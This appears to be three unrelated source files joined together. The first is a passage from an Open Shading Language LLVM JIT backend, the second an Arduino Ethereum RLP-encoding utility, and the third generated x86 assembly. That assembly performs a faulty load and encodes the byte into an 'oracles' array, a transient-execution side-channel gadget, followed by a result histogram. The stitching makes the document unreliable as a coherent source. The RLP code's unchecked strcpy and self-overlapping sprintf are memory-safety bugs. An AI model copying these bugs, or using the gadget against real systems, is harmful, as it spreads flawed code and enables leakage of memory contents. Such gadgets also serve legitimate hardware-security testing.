ll.call_function ("osl_naninf_check", args);
}
}
}
// make a second pass for the parameters (which may make use of
// locals and constants from the first pass)
FOREACH_PARAM (Symbol &s, inst()) {
// Skip structure placeholders
if (s.typespec().is_structure())
continue;
// Skip if it's never read and isn't connected
if (! s.everread() && ! s.connected_down() && ! s.connected()
&& ! s.renderer_output())
continue;
// Skip if it's an interpolated (userdata) parameter and we're
// initializing them lazily.
if (s.symtype() == SymTypeParam
&& ! s.lockgeom() && ! s.typespec().is_closure()
&& ! s.connected() && ! s.connected_down()
&& shadingsys().lazy_userdata())
continue;
// Set initial value for params (may contain init ops)
llvm_assign_initial_value (s);
}
// All the symbols are stack allocated now.
if (groupentry) {
// Group entries also need to run any earlier layers that must be
// run unconditionally. It's important that we do this AFTER all the
// parameter initialization for this layer.
for (int i = 0; i < group().nlayers()-1; ++i) {
ShaderInstance *gi = group()[i];
if (!gi->unused() && !gi->empty_instance() && !gi->run_lazily())
llvm_call_layer (i, true /* unconditionally run */);
}
}
// Mark all the basic blocks, including allocating llvm::BasicBlock
// records for each.
find_basic_blocks ();
find_conditionals ();
build_llvm_code (inst()->maincodebegin(), inst()->maincodeend());
if (llvm_has_exit_instance_block())
ll.op_branch (m_exit_instance_block); // also sets insert point
// Track all symbols who needed 'partial' initialization
std::unordered_set<Symbol*> initedsyms;
// Transfer all of this layer's outputs into the downstream shader's
// inputs.
for (int layer = this->layer()+1; layer < group().nlayers(); ++layer) {
// If the connection is to a layer known to not be used, the copy
// can be skipped.
if (m_layer_remap[layer] == -1)
continue;
ShaderInstance *child = group()[layer];
for (int c = 0, Nc = child->nconnections(); c < Nc; ++c) {
const Connection &con (child->connection (c));
if (con.srclayer == this->layer()) {
OSL_ASSERT (con.src.arrayindex == -1 && con.dst.arrayindex == -1 &&
"no support for individual array element connections");
// Validate unsupported connection vecSrc -> vecDst[j]
OSL_ASSERT ((con.dst.channel == -1 ||
con.src.type.aggregate() == TypeDesc::SCALAR ||
con.src.channel != -1) &&
"no support for vector -> vector[i] connections");
Symbol *srcsym (inst()->symbol (con.src.param));
Symbol *dstsym (child->symbol (con.dst.param));
// Check remaining connections to see if any channels of this
// aggregate need to be initialize.
if (con.dst.channel != -1 && initedsyms.count(dstsym) == 0) {
initedsyms.insert(dstsym);
std::bitset<32> inited(0); // Only need to be 16 (matrix4)
OSL_DASSERT(dstsym->typespec().aggregate() <= inited.size());
unsigned ninit = dstsym->typespec().aggregate() - 1;
for (int rc = c+1; rc < Nc && ninit; ++rc) {
const Connection &next (child->connection (rc));
if (next.srclayer == this->layer()) {
// Allow redundant/overwriting connections, i.e:
// 1. connect layer.value[i] connect layer.value[j]
// 2. connect layer.value connect layer.value
if (child->symbol (next.dst.param) == dstsym) {
if (next.dst.channel != -1) {
OSL_DASSERT(next.dst.channel < (int)inited.size());
if (!inited[next.dst.channel]) {
inited[next.dst.channel] = true;
--ninit;
}
} else
ninit = 0;
}
}
}
if (ninit) {
// FIXME: Init only components that are not connected
llvm_assign_initial_value (*dstsym, true);
}
}
// llvm_run_connected_layers tracks layers that have been run,
// so no need to do it here as well
llvm_run_connected_layers (*srcsym, con.src.param);
// FIXME -- I'm not sure I understand this. Isn't this
// unnecessary if we wrote to the parameter ourself?
llvm_assign_impl (*dstsym, *srcsym, -1,
con.src.channel, con.dst.channel);
}
}
}
// llvm_gen_debug_printf ("done copying connections");
// Copy results to renderer outputs
llvm::Value* sindex = nullptr;
FOREACH_PARAM(Symbol& s, inst()) {
if (! s.renderer_output()) // Skip if not a renderer output
continue;
// Try to look up the sym among the outputs with the full layer.name
// specification first. If that fails, look for name only.
ustring layersym = ustring::fmtformat("{}.{}", inst()->layername(),
s.name());
auto symloc = group().find_symloc(layersym, SymArena::Outputs);
if (! symloc)
symloc = group().find_symloc(s.name(), SymArena::Outputs);
if (! symloc) {
// std::cout << "No output copy for " << s.name()
// << " because no symloc was found\n";
continue; // not found in either place
}
if (! equivalent(s.typespec(), symloc->type)
|| s.typespec().is_closure()) {
std::cout << "No output copy for " << s.typespec() << ' ' << s.name()
<< " because of type mismatch vs symloc=" << symloc->type
<< "\n";
continue; // types didn't match
}
int size = int(symloc->type.size());
if (symloc->derivs && s.has_derivs())
size *= 3; // If we're copying the derivs
// std::cout << "GEN found output " << s.name() << " -> "
// << symloc->name << ' ' << s.typespec() << " size="
// << symloc->type.size() << "\n";
llvm::Value* srcptr = llvm_void_ptr(s);
// llvm::Value* offset = ll.constanti64(symloc->offset);
// llvm::Value* stride = ll.constanti64(symloc->stride);
if (!sindex)
sindex = ll.op_int_to_longlong(m_llvm_shadeindex);
// llvm::Value* fulloffset = ll.op_add(offset, ll.op_mul(stride, sindex));
// llvm::Value* dstptr = ll.offset_ptr(m_llvm_output_base_ptr, fulloffset);
llvm::Value* dstptr = symloc_ptr(symloc, m_llvm_output_base_ptr, sindex);
ll.op_memcpy (dstptr, srcptr, size);
// Clear derivs if output wants derivs but source didn't have them
if (symloc->derivs && !s.has_derivs())
ll.op_memset(ll.offset_ptr(dstptr, size), 0, 2*size);
}
// All done
if (shadingsys().llvm_debug_layers())
llvm_gen_debug_printf (Strutil::sprintf("exit layer %d %s %s",
this->layer(), inst()->layername(), inst()->shadername()));
ll.op_return();
if (llvm_debug())
std::cout << "layer_func (" << unique_layer_name << ") "<< this->layer()
<< "/" << group().nlayers() << " after llvm = "
<< ll.bitcode_string(ll.current_function()) << "\n";
if (ll.debug_is_enabled()) {
ll.debug_pop_function();
}
ll.end_builder(); // clear the builder
return ll.current_function();
}
void
BackendLLVM::initialize_llvm_group ()
{
if (ll.debug_is_enabled()) {
const char* compile_unit_name = m_group.m_name.empty() ? unknown_shader_group_name.c_str() : m_group.m_name.c_str();
ll.debug_setup_compilation_unit(compile_unit_name);
}
// Set up optimization passes. Don't target the host if we're building
// for OptiX.
ll.setup_optimization_passes (shadingsys().llvm_optimize(),
shadingsys().llvm_target_host() && !use_optix());
// Clear the shaderglobals and groupdata types -- they will be
// created on demand.
m_llvm_type_sg = NULL;
m_llvm_type_groupdata = NULL;
m_llvm_type_closure_component = NULL;
initialize_llvm_helper_function_map();
// Skipping this in the non-JIT OptiX case suppresses an LLVM warning
if (! use_optix())
ll.InstallLazyFunctionCreator (helper_function_lookup);
for (HelperFuncMap::iterator i = llvm_helper_function_map.begin(),
e = llvm_helper_function_map.end(); i != e; ++i) {
const std::string &funcname (i->first);
bool varargs = false;
const char *types = i->second.argtypes;
int advance;
TypeSpec rettype = OSLCompilerImpl::type_from_code (types, &advance);
types += advance;
std::vector<llvm::Type*> params;
while (*types) {
TypeSpec t = OSLCompilerImpl::type_from_code (types, &advance);
if (t.simpletype().basetype == TypeDesc::UNKNOWN) {
OSL_DASSERT (*types == '*');
if (*types == '*')
varargs = true;
} else {
params.push_back (llvm_pass_type (t));
}
types += advance;
}
if (varargs && use_optix()) {
varargs = false;
params.push_back (ll.type_void_ptr());
}
llvm::Function *f = ll.make_function (funcname, false, llvm_type(rettype), params, varargs);
// Skipping this in the non-JIT OptiX case suppresses an LLVM warning
if (! use_optix())
ll.add_function_mapping (f, (void *)i->second.function);
}
// Needed for closure setup
std::vector<llvm::Type*> params(3);
params[0] = (llvm::Type *) ll.type_char_ptr();
params[1] = ll.type_int();
params[2] = (llvm::Type *) ll.type_char_ptr();
m_llvm_type_prepare_closure_func = ll.type_function_ptr (ll.type_void(), params);
m_llvm_type_setup_closure_func = m_llvm_type_prepare_closure_func;
}
static void empty_group_func (void*, void*)
{
}
void
BackendLLVM::run ()
{
if (group().does_nothing()) {
group().llvm_compiled_init ((RunLLVMGroupFunc)empty_group_func);
group().llvm_compiled_version ((RunLLVMGroupFunc)empty_group_func);
return;
}
// At this point, we already hold the lock for this group, by virtue
// of ShadingSystemImpl::optimize_group.
OIIO::Timer timer;
std::string err;
{
#ifdef OSL_LLVM_NO_BITCODE
// I don't know which exact part has thread safety issues, but it
// crashes on windows when we don't lock.
// FIXME -- try subsequent LLVM releases on Windows to see if this
// is a problem that is eventually fixed on the LLVM side.
static spin_mutex mutex;
OIIO::spin_lock lock (mutex);
#endif
#ifdef OSL_LLVM_NO_BITCODE
OSL_ASSERT(!use_rs_bitcode());
ll.module (ll.new_module ("llvm_ops"));
#else
if (! use_optix()) {
if(use_rs_bitcode()){
ll.module (ll.module_from_bitcode ((char*)osl_llvm_compiled_rs_dependant_ops_block,
osl_llvm_compiled_rs_dependant_ops_size,
"llvm_rs_dependant_ops", &err));
if (err.length())
shadingcontext()->errorfmt(
"llvm::parseBitcodeFile returned '{}' for llvm_rs_dependant_ops\n",
err);
std::vector<char>& rs_free_function_bitcode = shadingsys().m_rs_bitcode;
OSL_ASSERT (rs_free_function_bitcode.size() && "Free Function bitcode is empty");
llvm::Module* rs_free_functions_module =
ll.module_from_bitcode (static_cast<const char*>(rs_free_function_bitcode.data()),
rs_free_function_bitcode.size(), "rs_free_functions", &err);
if (err.length())
shadingcontext()->errorfmt(
"llvm::parseBitcodeFile returned '{}' for rs_free_functions\n",
err);
std::unique_ptr<llvm::Module> rs_free_functions_module_ptr (rs_free_functions_module);
bool success = ll.absorb_module(std::move(rs_free_functions_module_ptr));
if (!success)
shadingcontext()->errorfmt("LLVM_Util::absorb_module failed'\n");
} else {
ll.module (ll.module_from_bitcode ((char*)osl_llvm_compiled_ops_block,
osl_llvm_compiled_ops_size,
"llvm_ops", &err));
if (err.length())
shadingcontext()->errorfmt(
"llvm::parseBitcodeFile returned '{}' for llvm_ops\n", err);
}
} else {
#ifdef OSL_LLVM_CUDA_BITCODE
ll.module (ll.module_from_bitcode ((char*)osl_llvm_compiled_ops_cuda_block,
osl_llvm_compiled_ops_cuda_size,
"llvm_ops", &err));
if (err.length())
shadingcontext()->errorfmt("llvm::parseBitcodeFile returned '{}' for cuda llvm_ops\n", err);
#else
OSL_ASSERT (0 && "Must generate LLVM CUDA bitcode for OptiX");
#endif
}
OSL_ASSERT (ll.module());
#endif
// Create the ExecutionEngine. We don't create an ExecutionEngine in the
// OptiX case, because we are using the NVPTX backend and not MCJIT
if (! use_optix() &&
! ll.make_jit_execengine (&err, ll.lookup_isa_by_name(shadingsys().m_llvm_jit_target),
shadingsys().llvm_debugging_symbols(),
shadingsys().llvm_profiling_events())) {
shadingcontext()->errorfmt("Failed to create engine: {}\n", err);
OSL_ASSERT (0);
return;
}
// End of mutex lock, for the OSL_LLVM_NO_BITCODE case
}
m_stat_llvm_setup_time += timer.lap();
// Set up m_num_used_layers to be the number of layers that are
// actually used, and m_layer_remap[] to map original layer numbers
// to the shorter list of actually-called layers. We also note that
// if m_layer_remap[i] is < 0, it's not a layer that's used.
int nlayers = group().nlayers();
m_layer_remap.resize (nlayers, -1);
m_num_used_layers = 0;
if (debug() >= 1)
std::cout << "\nLayers used: (group " << group().name() << ")\n";
for (int layer = 0; layer < nlayers; ++layer) {
// Skip unused or empty layers, unless they are callable entry
// points.
ShaderInstance *inst = group()[layer];
bool is_single_entry = (layer == (nlayers-1) && group().num_entry_layers() == 0);
if (inst->entry_layer() || is_single_entry ||
(! inst->unused() && !inst->empty_instance())) {
if (debug() >= 1)
std::cout << " " << layer << ' ' << inst->layername() << "\n";
m_layer_remap[layer] = m_num_used_layers++;
}
}
shadingsys().m_stat_empty_instances += nlayers - m_num_used_layers;
initialize_llvm_group ();
// Generate the LLVM IR for each layer. Skip unused layers.
m_llvm_local_mem = 0;
llvm::Function* init_func = build_llvm_init ();
std::vector<llvm::Function*> funcs (nlayers, NULL);
for (int layer = 0; layer < nlayers; ++layer) {
set_inst (layer);
if (m_layer_remap[layer] != -1) {
// If no entry points were specified, the last layer is special,
// it's the single entry point for the whole group.
bool is_single_entry = (layer == (nlayers-1) && group().num_entry_layers() == 0);
funcs[layer] = build_llvm_instance (is_single_entry);
}
}
// llvm::Function* entry_func = group().num_entry_layers() ? NULL : funcs[m_num_used_layers-1];
m_stat_llvm_irgen_time += timer.lap();
if (shadingsys().m_max_local_mem_KB &&
m_llvm_local_mem/1024 > shadingsys().m_max_local_mem_KB) {
shadingcontext()->errorfmt(
"Shader group \"{}\" needs too much local storage: {} KB",
group().name(), m_llvm_local_mem / 1024);
}
// The module contains tons of "library" functions that our generated IR
// might call. But probably not. We don't want to incur the overhead of
// fully compiling those, so we want to get rid of all functions not
// called directly or indirectly by our init or shader layer functions.
// It turns out to be much faster to prune these from the IR ahead of
// time versus letting the optimizer figure it out as the optimizer
// would have run many passes over functions which we later will be
// dropped. Only the external_functions will have external linkage all
// other remaining functions will be set to internal linkage.
if (shadingsys().llvm_prune_ir_strategy() == "none") {
// Do nothing! This is only useful for testing how much we reduce
// optimization and JIT time with the other strategies.
}
else if (shadingsys().llvm_prune_ir_strategy() == "internalize") {
// Mark as 'internal' all functions that start with "osl_" but are
// but are not among the known entry points. LLVM can then quickly
// realize that any 'internal' functions not called can be
// discarded. This was our original stab at this strategy.
std::vector<std::string> entry_function_names;
entry_function_names.push_back (ll.func_name(init_func));
for (int layer = 0; layer < nlayers; ++layer) {
// set_inst (layer);
llvm::Function* f = funcs[layer];
if (f && group().is_entry_layer(layer))
entry_function_names.push_back (ll.func_name(f));
}
ll.internalize_module_functions ("osl_", external_function_names, entry_function_names);
}
else /* if (shadingsys().llvm_prune_ir_strategy() == "prune") */ {
// New (2020) and default behavior, from Alex Wells:
// Full prune of uncalled functions, and marking as 'internal' to
// the module all but our known entry points from the outside. This
// seems to yield about another 5-10% opt+JIT speed gain versus
// merely internalizing.
std::unordered_set<llvm::Function*> external_functions;
external_functions.insert(init_func);
for (int layer = 0; layer < nlayers; ++layer) {
llvm::Function* f = funcs[layer];
// If we plan to call bitcode_string of a layer's function after
// optimization it may not exist after optimization unless we
// treat it as external.
if (f && (group().is_entry_layer(layer) || llvm_debug())) {
external_functions.insert(f);
}
}
ll.prune_and_internalize_module(external_functions);
}
// Debug code to dump the pre-optimized bitcode to a file
if (llvm_debug() >= 2 || shadingsys().llvm_output_bitcode()) {
// Make a safe group name that doesn't have "/" in it! Also beware
// filename length limits.
std::string safegroup;
safegroup = Strutil::replace (group().name(), "/", "_", true);
safegroup = Strutil::replace (safegroup , ":", "_", true);
if (safegroup.size() > 235)
safegroup = fmtformat("TRUNC_{}_{}",
safegroup.substr(safegroup.size() - 235),
group().id());
std::string name = fmtformat("{}.ll", safegroup);
OIIO::ofstream out;
OIIO::Filesystem::open(out, name);
if (out) {
out << ll.bitcode_string (ll.module());
shadingsys().infofmt("Wrote pre-optimized bitcode to '{}'", name);
} else {
shadingsys().errorfmt("Could not write to '{}'", name);
}
}
if(use_rs_bitcode()) {
std::vector<std::string> names_of_unmapped_globals;
ll.validate_global_mappings(names_of_unmapped_globals);
if (!names_of_unmapped_globals.empty()) {
shadingsys().errorfmt("Renderers should call osl::register_JIT_Global(const char* global_var_name, void* global_var_addr) for each global variable used by its free function renderer services bitcode");
for(const auto &unmapped_name:names_of_unmapped_globals) {
shadingsys().errorfmt(">>>>External global variable {} was not mapped to an address!", unmapped_name);
}
}
}
// Optimize the LLVM IR unless it's a do-nothing group.
if (! group().does_nothing())
ll.do_optimize();
m_stat_llvm_opt_time += timer.lap();
if (llvm_debug()) {
#if 1
// Feel it is more useful to get a dump of the entire optimized module
// vs. individual layer functions. Especially now because we have pruned all
// unused function declarations and functions out of the the module.
// Big benefit is that the module output can be cut and pasted into
// https://godbolt.org/ compiler explorer as LLVM IR with a LLC target
// and -mcpu= options to see what machine code will be generated by
// different LLC versions and cpu targets
std::cout << "module after opt = \n" << ll.module_string() << "\n";
#else
for (auto&& f : funcs)
if (f)
shadingsys().infofmt("func after opt = {}\n",
ll.bitcode_string(f));
#endif
}
// Debug code to dump the post-optimized bitcode to a file
if (llvm_debug() >= 2 || shadingsys().llvm_output_bitcode()) {
// Make a safe group name that doesn't have "/" in it! Also beware
// filename length limits.
std::string safegroup;
safegroup = Strutil::replace (group().name(), "/", "_", true);
safegroup = Strutil::replace (safegroup , ":", "_", true);
if (safegroup.size() > 235)
safegroup = fmtformat("TRUNC_{}_{}",
safegroup.substr(safegroup.size() - 235),
group().id());
std::string name = fmtformat("{}_O{}.ll", safegroup,
shadingsys().llvm_optimize());
OIIO::ofstream out;
OIIO::Filesystem::open(out, name);
if (out) {
out << ll.bitcode_string (ll.module());
shadingsys().infofmt("Wrote post-optimized bitcode to '{}'", name);
} else {
shadingsys().errorfmt("Could not write to '{}'", name);
}
}
if (use_optix()) {
std::string name = fmtformat("{}_{}", group().name(), group().id());
#if (OPTIX_VERSION < 70000)
// Create an llvm::Module from the renderer-supplied library bitcode
std::vector<char>& bitcode = shadingsys().m_lib_bitcode;
OSL_ASSERT (bitcode.size() && "Library bitcode is empty");
// TODO: Is it really necessary to build this Module for every ShaderGroup
llvm::Module* lib_module =
ll.module_from_bitcode (static_cast<const char*>(bitcode.data()),
bitcode.size(), "cuda_lib");
ll.ptx_compile_group (lib_module, name, group().m_llvm_ptx_compiled_version);
#else
ll.ptx_compile_group (nullptr, name, group().m_llvm_ptx_compiled_version);
#endif
if (group().m_llvm_ptx_compiled_version.empty()) {
OSL_ASSERT (0 && "Unable to generate PTX");
}
}
else {
// Force the JIT to happen now and retrieve the JITed function pointers
// for the initialization and all public entry points.
group().llvm_compiled_init ((RunLLVMGroupFunc) ll.getPointerToFunction(init_func));
for (int layer = 0; layer < nlayers; ++layer) {
llvm::Function* f = funcs[layer];
if (f && group().is_entry_layer (layer))
group().llvm_compiled_layer (layer, (RunLLVMGroupFunc) ll.getPointerToFunction(f));
}
if (group().num_entry_layers())
group().llvm_compiled_version (NULL);
else
group().llvm_compiled_version (group().llvm_compiled_layer(nlayers-1));
}
// We are destroying the entire module below,
// no reason to bother destroying individual functions
#if 0
// Remove the IR for the group layer functions, we've already JITed it
// and will never need the IR again. This saves memory, and also saves
// a huge amount of time since we won't re-optimize it again and again
// if we keep adding new shader groups to the same Module.
for (int i = 0; i < nlayers; ++i) {
if (funcs[i])
ll.delete_func_body (funcs[i]);
}
ll.delete_func_body (init_func);
#endif
// Free the exec and module to reclaim all the memory. This definitely
// saves memory, and has almost no effect on runtime.
ll.execengine (NULL);
// N.B. Destroying the EE should have destroyed the module as well.
ll.module (NULL);
m_stat_llvm_jit_time += timer.lap();
m_stat_total_llvm_time = timer();
if (shadingsys().m_compile_report) {
shadingcontext()->infofmt("JITed shader group {}:", group().name());
shadingcontext()->infofmt(
" ({:1.2f}s = {:1.2f} setup, {:1.2f} ir, {:1.2f} opt, {:1.2f} jit; local mem {}KB)",
m_stat_total_llvm_time, m_stat_llvm_setup_time,
m_stat_llvm_irgen_time, m_stat_llvm_opt_time, m_stat_llvm_jit_time,
m_llvm_local_mem / 1024);
}
}
}; // namespace pvt
OSL_NAMESPACE_EXIT
|
//
// Created by Okada, Takahiro on 2018/02/11.
//
#include "Util.h"
#include "Arduino.h"
#include <cstdio>
#include <cstdlib>
#include <vector>
// returns output (header) length
uint32_t Util::RlpEncodeWholeHeader(uint8_t* header_output, uint32_t total_len) {
if (total_len < 55) {
header_output[0] = (uint8_t)0xc0 + (uint8_t)total_len;
return 1;
} else {
uint8_t tmp_header[8];
memset(tmp_header, 0, 8);
uint32_t hexdigit = 1;
uint32_t tmp = total_len;
while ((uint32_t)(tmp / 256) > 0) {
tmp_header[hexdigit] = (uint8_t)(tmp % 256);
tmp = (uint32_t)(tmp / 256);
hexdigit++;
}
tmp_header[hexdigit] = (uint8_t)(tmp);
tmp_header[0] = (uint8_t)0xf7 + (uint8_t)hexdigit;
// fix direction for header
uint8_t header[8];
memset(header, 0, 8);
header[0] = tmp_header[0];
for (int i=0; i<hexdigit; i++) {
header[i+1] = tmp_header[hexdigit-i];
}
memcpy(header_output, header, (size_t)hexdigit+1);
return hexdigit+1;
}
}
vector<uint8_t> Util::RlpEncodeWholeHeaderWithVector(uint32_t total_len) {
vector<uint8_t> header_output;
if (total_len < 55) {
header_output.push_back((uint8_t)0xc0 + (uint8_t)total_len);
} else {
vector<uint8_t> tmp_header;
uint32_t hexdigit = 1;
uint32_t tmp = total_len;
while ((uint32_t)(tmp / 256) > 0) {
tmp_header.push_back((uint8_t)(tmp % 256));
tmp = (uint32_t)(tmp / 256);
hexdigit++;
}
tmp_header.push_back((uint8_t)(tmp));
tmp_header.insert(tmp_header.begin(), 0xf7 + (uint8_t)hexdigit);
// fix direction for header
vector<uint8_t> header;
header.push_back(tmp_header[0]);
for (int i=0; i<tmp_header.size()-1; i++) {
header.push_back(tmp_header[tmp_header.size()-1-i]);
}
header_output.insert(header_output.end(), header.begin(), header.end());
}
return header_output;
}
// returns output length
uint32_t Util::RlpEncodeItem(uint8_t* output, const uint8_t* input, uint32_t input_len) {
if (input_len==1 && input[0] == 0x00) {
uint8_t c[1] = {0x80};
memcpy(output, c, 1);
return 1;
} else if (input_len==1 && input[0] < 128) {
memcpy(output, input, 1);
return 1;
} else if (input_len <= 55) {
uint8_t _ = (uint8_t)0x80 + (uint8_t)input_len;
uint8_t header[] = {_};
memcpy(output, header, 1);
memcpy(output+1, input, (size_t)input_len);
return input_len+1;
} else {
uint8_t tmp_header[8];
memset(tmp_header, 0, 8);
uint32_t hexdigit = 1;
uint32_t tmp = input_len;
while ((uint32_t)(tmp / 256) > 0) {
tmp_header[hexdigit] = (uint8_t)(tmp % 256);
tmp = (uint32_t)(tmp / 256);
hexdigit++;
}
tmp_header[hexdigit] = (uint8_t)(tmp);
tmp_header[0] = (uint8_t)0xb7 + (uint8_t)hexdigit;
// fix direction for header
uint8_t header[8];
memset(header, 0, 8);
header[0] = tmp_header[0];
for (int i=0; i<hexdigit; i++) {
header[i+1] = tmp_header[hexdigit-i];
}
memcpy(output, header, hexdigit+1);
memcpy(output+hexdigit+1, input, (size_t)input_len);
return input_len+hexdigit+1;
}
}
vector<uint8_t> Util::RlpEncodeItemWithVector(const vector<uint8_t> input) {
vector<uint8_t> output;
uint16_t input_len = input.size();
if (input_len==1 && input[0] == 0x00) {
output.push_back(0x80);
} else if (input_len==1 && input[0] < 128) {
output.insert(output.end(), input.begin(), input.end());
} else if (input_len <= 55) {
uint8_t _ = (uint8_t)0x80 + (uint8_t)input_len;
output.push_back(_);
output.insert(output.end(), input.begin(), input.end());
} else {
vector<uint8_t> tmp_header;
uint32_t tmp = input_len;
while ((uint32_t)(tmp / 256) > 0) {
tmp_header.push_back((uint8_t)(tmp % 256));
tmp = (uint32_t)(tmp / 256);
}
tmp_header.push_back((uint8_t)(tmp));
uint8_t len = tmp_header.size() + 1;
tmp_header.insert(tmp_header.begin(), 0xb7 + len);
// fix direction for header
vector<uint8_t> header;
header.push_back(tmp_header[0]);
uint8_t hexdigit = tmp_header.size() - 1;
for (int i=0; i<hexdigit; i++) {
header.push_back(tmp_header[hexdigit-i]);
}
output.insert(output.end(), header.begin(), header.end());
output.insert(output.end(), input.begin(), input.end());
}
return output;
}
vector<uint8_t> Util::ConvertNumberToVector(uint32_t val) {
vector<uint8_t> tmp;
vector<uint8_t> ret;
if ((uint32_t)(val / 256) >= 0) {
while ((uint32_t)(val / 256) > 0) {
tmp.push_back((uint8_t)(val % 256));
val = (uint32_t)(val / 256);
}
tmp.push_back((uint8_t)(val % 256));
uint8_t len = tmp.size();
for (int i=0; i<len; i++) {
ret.push_back(tmp[len-i-1]);
}
} else {
ret.push_back((uint8_t)val);
}
return ret;
}
uint32_t Util::ConvertNumberToUintArray(uint8_t *str, uint32_t val) {
uint32_t ret = 0;
uint8_t tmp[8];
memset(tmp,0,8);
if ((uint32_t)(val / 256) >= 0) {
while ((uint32_t)(val / 256) > 0) {
tmp[ret] = (uint8_t)(val % 256);
val = (uint32_t)(val / 256);
ret++;
}
tmp[ret] = (uint8_t)(val % 256);
for (int i=0; i<ret+1; i++) {
str[i] = tmp[ret-i];
}
} else {
str[0] = (uint8_t)val;
}
return ret+1;
}
vector<uint8_t> Util::ConvertCharStrToVector(const uint8_t *in) {
uint32_t ret = 0;
uint8_t tmp[256];
strcpy((char *)tmp, (char *)in);
vector<uint8_t> out;
// remove "0x"
char * ptr = strtok((char*)tmp, "x");
if (strlen(ptr)!=1) {
ptr = (char *)tmp;
} else {
ptr = strtok(NULL, "x");
}
size_t lenstr = strlen(ptr);
for (int i=0; i<lenstr; i+=2) {
char c[3];
c[0] = *(ptr+i);
c[1] = *(ptr+i+1);
c[2] = 0x00;
uint8_t val = strtol(c, nullptr, 16);
out.push_back(val);
ret++;
}
return out;
}
vector<uint8_t> Util::ConvertStringToVector(const string* str) {
return ConvertCharStrToVector((uint8_t*)(str->c_str()));
}
uint32_t Util::ConvertCharStrToUintArray(uint8_t *out, const uint8_t *in) {
uint32_t ret = 0;
uint8_t tmp[256];
strcpy((char *)tmp, (char *)in);
// remove "0x"
char * ptr = strtok((char*)tmp, "x");
if (strlen(ptr)!=1) {
ptr = (char *)tmp;
} else {
ptr = strtok(NULL, "x");
}
size_t lenstr = strlen(ptr);
for (int i=0; i<lenstr; i+=2) {
char c[3];
c[0] = *(ptr+i);
c[1] = *(ptr+i+1);
c[2] = 0x00;
uint8_t val = strtol(c, nullptr, 16);
out[ret] = val;
ret++;
}
return ret;
};
uint8_t Util::HexToInt(uint8_t s) {
uint8_t ret = 0;
if(s >= '0' && s <= '9'){
ret = uint8_t(s - '0');
} else if(s >= 'a' && s <= 'f'){
ret = uint8_t(s - 'a' + 10);
} else if(s >= 'A' && s <= 'F'){
ret = uint8_t(s - 'A' + 10);
}
return ret;
}
void Util::BufToCharStr(char* str, const uint8_t* buf, uint32_t len) {
sprintf(str, "0x");
for (int i = 0; i < len; i++) {
sprintf(str, "%s%02x", str, buf[i]);
}
}
void Util::VectorToCharStr(char* str, const vector<uint8_t> buf) {
sprintf(str, "0x");
for (int i = 0; i < buf.size(); i++) {
sprintf(str, "%s%02x", str, buf[i]);
}
}
string Util::VectorToString(const vector<uint8_t> buf) {
string ret = "0x";
for (int i = 0; i < buf.size(); i++) {
char v[3];
memset(v, 0, sizeof(v));
sprintf(v, "%02x", buf[i]);
ret = ret + string(v);
}
return ret;
}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r8
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x103d9, %rax
nop
nop
nop
add %r12, %r12
mov $0x6162636465666768, %rbx
movq %rbx, %xmm6
and $0xffffffffffffffc0, %rax
vmovaps %ymm6, (%rax)
nop
nop
nop
nop
nop
inc %rdi
lea addresses_UC_ht+0x1d889, %rsi
lea addresses_WT_ht+0x9689, %rdi
clflush (%rdi)
sub %r8, %r8
mov $56, %rcx
rep movsb
nop
nop
nop
nop
dec %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
// REPMOV
lea addresses_PSE+0x1e889, %rsi
lea addresses_RW+0x9889, %rdi
clflush (%rdi)
nop
xor $30408, %r14
mov $86, %rcx
rep movsb
nop
nop
nop
and $43896, %rcx
// Faulty Load
lea addresses_RW+0x9889, %rbp
inc %rsi
movb (%rbp), %r14b
lea oracles, %r10
and $0xff, %r14
shlq $12, %r14
mov (%r10,%r14,1), %r14
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_RW', 'same': False, 'size': 32, 'congruent': 0, 'NT': True, 'AVXalign': True}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_PSE', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_RW', 'congruent': 0, 'same': True}, 'OP': 'REPM'}
[Faulty Load]
{'src': {'type': 'addresses_RW', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 32, 'congruent': 3, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'}
{'33': 703}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 